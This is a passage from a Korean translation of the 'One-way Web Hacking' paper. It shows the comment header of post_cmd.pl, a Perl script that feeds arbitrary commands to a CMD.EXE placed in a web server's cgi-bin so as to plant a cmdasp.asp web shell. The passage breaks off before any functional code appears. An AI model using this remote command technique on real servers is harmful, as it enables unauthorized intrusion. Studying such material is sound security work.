One-way Web Hacking

위의 명령들은 목표 웹 서버 상에서 "cmdasp.asp" 파일을 만들기 위해 post_cmd.pl과 같은 스크립트를 통해 실행될 수
있다.
post_cmd.pl
#!/usr/bin/perl
#
# post_cmd.pl
# By Saumil Shah (c) net-square, 2001
#
# Able to send arbitrary commands to http://TARGET/cgi-bin/CMD.EXE
# and have them executed on the server. This is possible only if
# CMD.EXE is placed in %wwwroot%\cgi-bin. (perhaps after running
# some .. ah.. exploit)
#
# Note: If %wwwroot%\cgi-bin is not available, use the /scripts/
# directory in which case, the URL becomes
# http://TARGET/scripts/CMD.EXE
#
# POST can send text to a back-end web program's standard input
# This program is used to feed commands to CMD.EXE on a remote
# webserver via standard input, and get the output on standard
# output, back to us, via HTTP.
#
# Note: We cannot use this with a form, because forms always
# send variable=value pairs back to the back-end web program. We
# want to send commands here
#
# Things to be careful about (and which is why this program helps)
#